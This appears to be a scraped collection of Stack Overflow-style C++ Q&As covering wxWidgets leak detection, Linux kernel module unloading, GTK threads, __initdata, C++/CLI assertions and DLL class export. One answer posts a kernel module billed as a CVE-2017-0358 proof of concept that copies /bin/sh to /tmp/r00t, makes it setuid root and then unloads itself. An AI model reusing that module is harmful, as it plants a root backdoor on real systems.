I'm trying to make a basic wxWidgets program that doesn't leak any memory (I'm developing on Windows 7 and am using Visual Studio 2010 and trying to use CRT to check for leaks).
I started from the OpenGL sample and gradually worked it down. After adding CRT calls to the OnExit method of my wxApp object (the only place I ever even saw it mentioned), I realized that memory was being leaked everywhere.
I gradually worked it down more until I created this sample code, which makes CRT spit out a huge load of leaks:
#include <wx/glcanvas.h>
#include <wx/wxprec.h>
#ifndef WX_PRECOMP
#include <wx/wx.h>
#endif
#ifdef __WXMSW__
#include <wx/msw/msvcrt.h>
#endif
#if !defined(_INC_CRTDBG)// || !defined(_CRTDBG_MAP_ALLOC)
#error "Debug CRT functions have not been included!"
#endif
class App : public wxApp {
public:
bool OnInit(void);
int OnExit(void);
};
bool App::OnInit(void) {
if (!wxApp::OnInit()) return false;
return true;
}
int App::OnExit(void) {
return wxApp::OnExit();
}
int WINAPI WinMain(HINSTANCE h_instance, HINSTANCE h_prev_instance, wxCmdLineArgType cmd_line, int cmd_show) {
int leaks = _CrtDumpMemoryLeaks();
if (leaks) {
int i=0, j=6/i; //Put a breakpoint here or throw an exception
}
return EXIT_SUCCESS;
}
#pragma comment(lib,"wxbase29ud.lib")
#pragma comment(lib,"wxmsw29ud_gl.lib")
#pragma comment(lib,"wxmsw29ud_core.lib")
#pragma comment(lib,"wxpngd.lib")
#pragma comment(lib,"wxzlibd.lib")
#pragma comment(lib,"comctl32.lib")
#pragma comment(lib,"rpcrt4.lib")
Notice that the class App is not used anywhere. The function definitions outside the class are necessary to prevent it being optimized away. If the class App is not present, then no errors occur.
The questions are, why isn't this working? How can I make a leak free wxWidgets program? How should I use _CrtDumpMemoryLeaks()? Why aren't there resources about this--and if there are, where are they? The best I could find was this, which only suggested using CRT, but didn't actually say how. Help?
It is possible that are these are not real memory leaks. When you call _CrtDumpMemoryLeaks() it goes through the heap looking for objects that have not been freed and displays them as leaks. Since you are calling it before your application has ended then anything that has been allocated on the heap will show up as leaks.
I'm pretty sure that wxWidgets creates some global objects (for example, I know there are wxEmptyString, wxDefaultPosition and so forth and I daresay there are others that do actually perform some allocations) that will not be destroyed until after the end of your application. _CrtDumpMemoryLeaks() would need to be called after that point in order to not show false positives.
You can try to get the CRT to call _CrtDumpMemoryLeaks() automatically on program exit as explained on MSDN.
There is also a related question here that might help you.
Edit: I've tried this myself by adding the following code to the top of my App::OnInit() method and the only leaks I get shown are a 64 byte one, which matches my forced leak. So it doesn't look like all wx applications are leaky. However, I also tried it with your code and I do get leaks reported.
_CrtSetReportMode( _CRT_ERROR, _CRTDBG_MODE_FILE );
_CrtSetReportFile( _CRT_ERROR, _CRTDBG_FILE_STDERR );
int tmpDbgFlag = _CrtSetDbgFlag(_CRTDBG_REPORT_FLAG);
tmpDbgFlag |= _CRTDBG_LEAK_CHECK_DF;
_CrtSetDbgFlag(tmpDbgFlag);
// Force a leak
malloc(64);
Edit 2: You need to include the following line after your App class definition so that wxWidgets uses your App class as the application object (and provides it's own WinMain). I'm guessing that whetever it does in wxApp requires this line in order to clean itself up properly:
IMPLEMENT_APP(App)
Edit 3: I also found, in the wxWidgets page you linked to that the startup code will automatically call _CrtSetDbgFlag() for you in debug mode. So you get leak detection without having to add the code yourself. You can test this by allocating some memory and not freeing it.
Related
I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
If I compile and run the code as-is, the process will run with 1 thread. If I uncomment the commented out section and then compile and run it, it runs with 2 threads.
I am compiling the code with this command:
g++ pkg-config gtkmm-2.4 --cflags --libs test.cpp
When the program is running I can check how many threads are created with:
ps -mC a.out
If I look at the second thread in ddd, I can see that it is running g_main_loop_run. This confuses me:
What is the purpose of this thread?
Why does adding a toolbar button create a new thread?
I thought g_main_loop_run() should only ever run in one thread (unless you use the GDK_THREADS_ENTER/GDK_THREADS_LEAVE macros). Since I am running Gtk::Main::Run() in my main thread am breaking the rules?
Thanks in advance for any help. It's driving me crazy.
#include <gtkmm.h>
bool OnDeleteEvent(GdkEventAny* PtrGdkEventAny)
{
Gtk::Main::quit();
return(true);
}
void OnExecuteButtonClicked()
{
}
int main(int argc, char *argv[])
{
new Gtk::Main(0, NULL);
Gtk::Window *ptrWindow = new Gtk::Window;
ptrWindow->signal_delete_event().connect(sigc::ptr_fun(&OnDeleteEvent));
/*
Gtk::Toolbar *ptrToolBar = manage(new Gtk::Toolbar);
Gtk::ToolButton *ptrToolButton;
ptrToolButton = manage( new Gtk::ToolButton(Gtk::Stock::EXECUTE));
ptrToolBar->append(*ptrToolButton, sigc::ptr_fun(&OnExecuteButtonClicked));
ptrWindow->add(*ptrToolBar);
*/
ptrWindow->show_all();
Gtk::Main::run();
return (0);
}
Sometimes GThreads are created when you use functions that rely on async behaviour. These usually create a GTask internally (with g_task_run_in_thread and friends) and run the synchronous version in a seperate thread (except for those being nativly async or async-able, those usually won't spawn another thread). Usually this is IO (i.e. GtkBuilder), Socket and IPC (dbus) related - so mostly glib stuff.
There might also be occasions which I am not aware of, that will spawn additional threads, the mainloop itself is strictly single threaded.
So in your case I can only think of two thing that could trigger this: The Stock image that is loaded from your local disk or the styling information of your theme.
here is the simple module program code.
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
static int hello3_data __initdata = 3;
static int __init hello_3_init(void)
{
printk(KERN_INFO "Hello, world %d\n", hello3_data);
return 0;
}
static void __exit hello_3_exit(void)
{
printk(KERN_INFO "Goodbye, world %d\n",hello3_data);
}
module_init(hello_3_init);
module_exit(hello_3_exit);
I've initialized a variable with __initdata macro and a function with __init. when I did insmod the module was inserted and i was able to see the log message(/var/log/messages). But, when I did rmmod it was unable to remove it, and it says Resource busy.
My question is does the `modules_init` function cleans the memory of `hello3_data`??
or it is done by `module_exit`??.
Someone please explain.
Please when declaring the varialble hello3_data you're using the __initdata modifier which specifies that the variable shall be used in only the __init function.
Try recompile your kernel module with options like make CONFIG_DEBUG_SECTION_MISMATCH=y and you shall see warnings like this:
WARNING: /home/pengyu/temp/yusen/test_mod.o(.exit.text+0x3): Section mismatch in reference from the function cleanup_module() to the variable .init.data:hello3_data
The function __exit cleanup_module() references
a variable __initdata hello3_data.
This is often seen when error handling in the exit function
uses functionality in the init path.
The fix is often to remove the __initdata annotation of
hello3_data so it may be used outside an init section.
You could simply remove __initdata and try again.
EDITED:
Here I'm trying to provide further explanations. The kernel module itself is in the format of ELF (Executable and Linkable Format) (with some kernel-module-specific sections). Feature of the .init and .fini sections is supported by the linkers and loaders including insmod.
In this case the attribute #define __initdata __section(.init.data) works like __attribute__((section(".init.data"))) which explicitly specifies which section the data/function shall be put in.
As a kernel module the section of .init is not guaranteed to be kept after module initialization, and anything inside that section is not supposed to be referenced outside the initialization function. See page 31 of Linux Device Drivers, Third Edition:
The _init token in the definition may look a little strange; it is a hint to the kernel that the given function is used only at initialization time. The module loader drops the initialization function after the module is loaded, making its memory available for other uses. There is a similar tag (_initdata)for data used only during initialization. Use of __init and __initdata is optional, but it is worth the trouble. Just be sure not to use them for any function (or data structure)you will be using after initialization completes
The following method (in a Visual Studio 2008 ref class) contains a simple error that I thought would be caught - but instead it causes the process to abort with a "Debug Assertion Failed!" message box (msg includes the offending STL vector src line#). This occurs whether compiled in Debug or Release mode. The process in this case is Excel.exe and the method is accessed via COM interop.
Can someone tell me why this error doesn't get trapped ?
String^ FOO()
{
try {
std::vector<int> vfoo;
vfoo.push_back(999);
return vfoo[1].ToString(); //!!!! error: index 1 not valid
}
catch(std::exception& stdE) { // not catching
return "Unhandled STL exception";
}
catch(System::Exception^ E) { // not catching
return "Unhandled .NET exception: " + E->Message;
}
catch(...) { // not even this is catching
return "Unhandled exception";
}
}
In the Debug configuration you'll get an assert that's enabled by the iterator debugging feature. Designed to help to find mistakes in your use of the standard C++ library. You can use the Call Stack window to trace back to the statement in your code that triggered the assert. The feature is controlled by the _HAS_ITERATOR_DEBUGGING macro, very few reasons to ever turn that off in the Debug build. Well, none.
In the Release configuration, you'll run into the Checked Iterators feature, part of the Secure CRT Library initiative introduced at VS2005 and controlled by the _SECURE_SCL macro. It has a hook built in to get the debugger to stop, much as the above, to show you why it bombed. But not without a debugger, if none is attached then it immediately terminates your program with SEH exception code 0xc0000417. That's kinda where the buck stops, the DLL version of the CRT was built with _SECURE_SCL in effect and you have no option to not use that DLL when you write managed code. Building with /MT is required to completely turn it off and that's not possible in C++/CLI.
This tends to drive C++ programmers pretty nutty, catch (...) {} is a blessed language feature even though the odds of restoring program state are very close to zero. There is a back-door however (there's always a back-door), the argument validation code emits the error condition through a function pointer. The default handler immediately aborts the program with no way to catch it, not even with SetUnhandledExceptionFilter(). You can replace the handler with the _set_invalid_parameter_handler() function. That needs to be done by your Main() method, something like this:
#include "stdafx.h"
#include <stdlib.h>
using namespace System;
#pragma managed(push, off)
void no_invalid_parameter_exit(const wchar_t * expression, const wchar_t * function,
const wchar_t * file, unsigned int line, uintptr_t pReserved) {
throw new std::invalid_argument("invalid argument");
}
#pragma managed(pop)
int main(array<System::String ^> ^args)
{
_set_invalid_parameter_handler(no_invalid_parameter_exit);
// etc...
}
Which will run one of your catch handlers. The managed one, leaving no decent breadcrumbs to show what happened, but that's normal for native C++ exceptions.
"Debug Assertion Failed!" sounds like, well, an assert()-like check. These are NOT exceptions.
I actually use assert()-style checking for everything that constitutes a programming error, and use exceptions for runtime errors. Maybe Microsoft follows a similar policy; an "index out of bounds" is clearly a programming error, not something that is caused by e.g. your disk getting full.
So I just began to try my hand at emulation after years of putting it off and not knowing where to start and I have managed to successfully write my first emulator! Now I am organizing my code in so that I can reuse the code to emulate other systems. I've been toying with the idea of having a shared frontend "platform handler" of sorts that I will compile as my executable whereas I will compile my emulated system code into dlls that the platform handler will use to identify what is available and instantiate from. This would allow me to separate my code into different projects and to leave the option open of using a bulkier front-end with more features or a streamlined "game only" and to share the same dlls between them rather than make two different solutions.
I know how to compile dlls vs executables but I don't know how to link the executable to the custom dll in such a way that I can instantiate a class from it. I'm not even sure what I'm trying to do is technically possible. Do the dll classes need to be static? I've never coded anything like this before or even done much with custom dlls so any help or ideas would be appreciated. I'm using Visual C++ 2010 by the way. Thanks in advance for any advice anyone may have.
You don't really have to do much different. Just export your classes from the dll like you do for functions. In your app, include the header and link to the generated lib like you usually do. See this page: http://msdn.microsoft.com/en-us/library/81h27t8c%28v=vs.80%29.aspx
Example.h
#ifdef DLL_EXPORT
#define EXPORT_API __declspec(dllexport)
#else
#define EXPORT_API __declspec(dllimport)
#endif
class EXPORT_API Example
{
public:
Example();
~Example();
int SomeMethod();
};
int EXPORT_API ExampleFuncion();
Example.cpp
#include "Example.h"
Example::Example()
{
// construct stuff
}
Example::~Example()
{
// destruct stuff
}
int Example::SomeMethod()
{
// do stuff
return 0;
}
int EXPORT_API ExampleFunction()
{
return 0;
}
In your dll project, define DLL_EXPORT and build. You will get a .lib and .dll output. In your main project where you will be using the dll you do not have to do anything except include the header and link against the .lib. Do not define the DLL_EXPORT symbol in your main project and be sure the .dll is somewhere your application can find it.
If you really want to get clever, this problem is screaming for the factory design pattern. If you design your interface well enough, you can have your dlls register their implementation with your application when they are loaded. You can extend forever without even rebuilding your main executable.